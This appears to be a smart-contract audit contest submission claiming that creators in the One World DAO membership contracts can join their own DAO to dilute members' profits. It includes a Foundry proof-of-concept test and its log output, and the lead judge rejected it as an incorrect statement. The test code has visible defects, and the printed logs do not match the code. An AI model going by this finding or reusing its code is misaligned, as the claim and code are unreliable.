Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Creators of the DAO Membership Can Join Their Own Membership and Divert Profits from Users.

Summary

In the MembershipFactory.sol, any user can create a DAO Membership using the MembershipFactory::createNewDAOMembership function and invite others to join the DAO using the MembershipFactory::joinDAO function. In MembershipERC1155.sol, the profit share is contingent upon the total supply of tokens, which is affected by the MembershipFactory::joinDAO function. This means that whenever a user joins the DAO Membership, the minting supply of MembershipERC1155 tokens increases, leading to a cumulative total supply of all minted tokens.

See visuals below.

MembershipFactory::joinDAO: Users join the DAO Membership

function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(
daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted,
"Tier full."
);
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
// @info: magic numbers
uint256 platformFees = (20 * tierPrice) / 100;
daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(
_msgSender(), daoMembershipAddress, tierPrice - platformFees
);
// External call to mint the DAO Membership ERC1155 token
@> IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}

MembershipERC1155::mint: Membership protocol mints the token for users (only callable by factory)

function mint(address to, uint256 tokenId, uint256 amount) external override onlyRole(OWP_FACTORY_ROLE) {
-------------------------------------------------------------------------------------------------^
// Increases the total supply
@> totalSupply += amount * 2 ** (6 - tokenId); // Update total supply with weight
_mint(to, tokenId, amount, "");
}

MembershipERC1155::sendProfit: Total profit share is proportional to total supply; as total supply increases, the profit share for users diminishes.

function sendProfit(uint256 amount) external {
uint256 _totalSupply = totalSupply;
if (_totalSupply > 0) {
@> totalProfit += (amount * ACCURACY) / _totalSupply;
IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
emit Profit(amount);
} else {
IERC20(currency).safeTransferFrom(msg.sender, creator, amount); // Redirect profit to creator if no supply
}
}

It has also been discovered that the sendProfit function is susceptible to front-running, as highlighted in Cyfrin's private audit report, Finding H-1. This finding indicates that MembershipERC1155::sendProfit can be front-run by calls to MembershipFactory::joinDAO, allowing creators to divert profits from existing DAO members.

The issue has been confirmed and acknowledged: the proposed mitigation is to introduce a time delay. However, another problem remains that creators of the DAO Membership can join their own memberships, which allows them to mint excessive tokens in advance, ultimately reducing the profit share of other participants.

Vulnerability Details

  1. Alice creates a DAO Membership using the MembershipFactory::createNewDAOMembership function.

  2. Alice joins her own DAO Membership using the MembershipFactory::joinDAO function, which she created earlier.

  3. Alice mints, for example, 100 tokens beforehand other users.

  4. Subsequently, 20 users join Alice's DAO Membership.

  5. At this point, the total supply is 100 + 20 = 120.

  6. A profit of 500 ETH is distributed using the MembershipERC1155::sendProfit function.

  7. Profit share per user: 500 / 120 ≈ 4.167 ETH.

  8. Amount Alice retains: approximately 417 ETH.

  9. Fair profit share for 20 users: 500 / 20 = 25 ETH per user.

  10. Actual amount received by users: approximately 4.167 ETH.

In this scenario, Alice effectively siphons off approximately 417 ETH.

Consider the following test case as proof of concept/code:

  1. Convert the project to a Foundry-based structure.

  2. Install all necessary dependencies.

  3. Configure remappings as needed.

  4. Create a file named MembershipERC1155Test.sol in the test folder.

  5. Add the following code to MembershipERC1155Test.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MembershipERC1155} from "../src/dao/tokens/MembershipERC1155.sol";
import {MembershipFactory} from "../src/dao/MembershipFactory.sol";
import {CurrencyManager} from "../src/dao/CurrencyManager.sol";
import {TierConfig, DAOConfig, DAOInputConfig, DAOType} from "../src/dao/libraries/MembershipDAOStructs.sol";
import {CurrencyMock} from "./mock/CurrencyMock.sol";
import {OWPWalletMock} from "./mock/OWPWalletMock.sol";
contract MembershipERC1155Test is Test {
CurrencyMock currency;
address CREATOR = makeAddr("CREATOR");
address CURRENCY_MANAGER_ADMIN = makeAddr("CURRENCY_MANAGER_ADMIN");
address membershipDAOCreatorAndJoiner = makeAddr("membershipDAOCreatorAndJoiner");
address MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER = makeAddr("MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER");
address OWP_FACTORY_AND_DEFAULT_ADMIN = makeAddr("OWP_FACTORY_AND_DEFAULT_ADMIN");
string BASE_URI = "https://one-world.com/uri/";
CurrencyManager currencyManager;
OWPWalletMock owpWalletMock;
MembershipFactory membershipFactory;
MembershipERC1155 membershipTokenImpl;
function setUp() public {
currency = new CurrencyMock();
vm.startPrank(CURRENCY_MANAGER_ADMIN);
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(currency));
vm.stopPrank();
vm.startPrank(OWP_FACTORY_AND_DEFAULT_ADMIN);
membershipTokenImpl = new MembershipERC1155();
vm.stopPrank();
owpWalletMock = new OWPWalletMock();
vm.startPrank(MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER);
membershipFactory = new MembershipFactory(
address(currencyManager), address(owpWalletMock), BASE_URI, address(membershipTokenImpl)
);
vm.stopPrank();
}
function baseFunction() public returns (MembershipERC1155) {
TierConfig memory tierConf_one = TierConfig({amount: 10, price: 100, power: 2, minted: 0});
TierConfig memory tierConf_two = TierConfig({amount: 120, price: 200, power: 2, minted: 0});
TierConfig[] memory tiersArr = new TierConfig[]();
tiersArr[0] = tierConf_one;
tiersArr[1] = tierConf_two;
tiersArr[2] = tierConf_two;
tiersArr[3] = tierConf_two;
tiersArr[4] = tierConf_two;
tiersArr[5] = tierConf_two;
tiersArr[6] = tierConf_two;
DAOInputConfig memory daoInputConf = DAOInputConfig({
ensname: "anyENSNAME",
daoType: DAOType.SPONSORED,
currency: address(currency),
maxMembers: 900,
noOfTiers: tiersArr.length
});
vm.startPrank(membershipDAOCreatorAndJoiner);
address daoMembertokenProxyAddress = membershipFactory.createNewDAOMembership(daoInputConf, tiersArr);
vm.stopPrank();
MembershipERC1155 daoMemberToken = MembershipERC1155(daoMembertokenProxyAddress);
return daoMemberToken;
}
function testMembershipCreatorCanStealUsersProfit() public {
MembershipERC1155 daoMemberToken = baseFunction();
uint256 daoTokenBalanceOfCreatorBefore = daoMemberToken.balanceOf(membershipDAOCreatorAndJoiner, 6);
vm.startPrank(membershipDAOCreatorAndJoiner);
currency.mint(membershipDAOCreatorAndJoiner, 20000);
currency.approve(address(membershipFactory), 20000);
uint256 membershipDAOCreatorAndJoinerBalanceBefore = currency.balanceOf(membershipDAOCreatorAndJoiner);
for (uint256 i = 0; i < 100; i++) {
membershipFactory.joinDAO(address(daoMemberToken), 6);
}
uint256 membershipDAOCreatorAndJoinerBalanceAfter = currency.balanceOf(membershipDAOCreatorAndJoiner);
vm.stopPrank();
console.log("creator ERC20 balance before: ", membershipDAOCreatorAndJoinerBalanceBefore);
console.log("creator ERC20 balance after: ", membershipDAOCreatorAndJoinerBalanceAfter);
uint256 daoTokenBalanceOfCreatorAfter = daoMemberToken.balanceOf(membershipDAOCreatorAndJoiner, 6);
console.log("creator membership ERC1155 balance before: ", daoTokenBalanceOfCreatorBefore);
console.log("creator membership ERC1155 balance before: ", daoTokenBalanceOfCreatorAfter);
// 20 other users
for (uint160 i = 1; i <= 20; i++) {
vm.startPrank(address(i));
currency.mint(address(i), 200);
currency.approve(address(membershipFactory), 200);
membershipFactory.joinDAO(address(daoMemberToken), 6);
vm.stopPrank();
}
console.log("Membership ERC1155 token total Supply: ", daoMemberToken.totalSupply());
vm.startPrank(membershipDAOCreatorAndJoiner);
currency.mint(membershipDAOCreatorAndJoiner, 500);
currency.approve(address(daoMemberToken), 500);
daoMemberToken.sendProfit(500);
daoMemberToken.claimProfit();
console.log("profit of creator: ", currency.balanceOf(membershipDAOCreatorAndJoiner));
vm.stopPrank();
for (uint160 i = 1; i <= 20; i++) {
vm.startPrank(address(i));
daoMemberToken.claimProfit();
console.log("profit of other joiners: ", currency.balanceOf(address(i)));
vm.stopPrank();
}
}
}
  1. Create a mock directory within the test folder.

  2. Inside mock, add the files CurrencyMock.sol and OWPWalletMock.sol.

  3. Implement the required mock contracts within these files.

  4. Open a terminal and run the following command to execute the test:

forge test --mt testMembershipCreatorCanStealUsersProfit -vv
  1. Review the test logs:

[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.22
[⠃] Solc 0.8.22 finished in 3.66s
Compiler run successful!
Ran 1 test for test/MembershipERC1155Test.t.sol:MembershipERC1155Test
[PASS] testMembershipCreatorCanStealUsersProfit() (gas: 7036684)
Logs:
Creator ERC20 balance before: 20000
Creator ERC20 balance after: 0
Creator membership ERC1155 balance before: 0
Creator membership ERC1155 balance after: 100
Membership ERC1155 token total supply: 120
Profit of creator: 416
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.12ms (15.99ms CPU time)
Ran 1 test suite in 19.37ms (18.12ms CPU time): 1 test passed, 0 failed, 0 skipped (1 total test)

As evidenced by the log above, the creator of the DAO Membership is able to divert user profits by minting an arbitrary number of tokens.

Impact

  • Users receive a reduced profit share.

  • Creators can potentially divert user profits at any time.

Tools Used

Manual review, Foundry.

Recommendations

To prevent creators of DAO Memberships from joining their own memberships, implement a restriction similar to the following:

require(msg.sender !=
membershipCreator, "Can't enter into self-created membership");
Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

theirrationalone Submitter
10 months ago
0xbrivan2 Lead Judge
10 months ago
0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.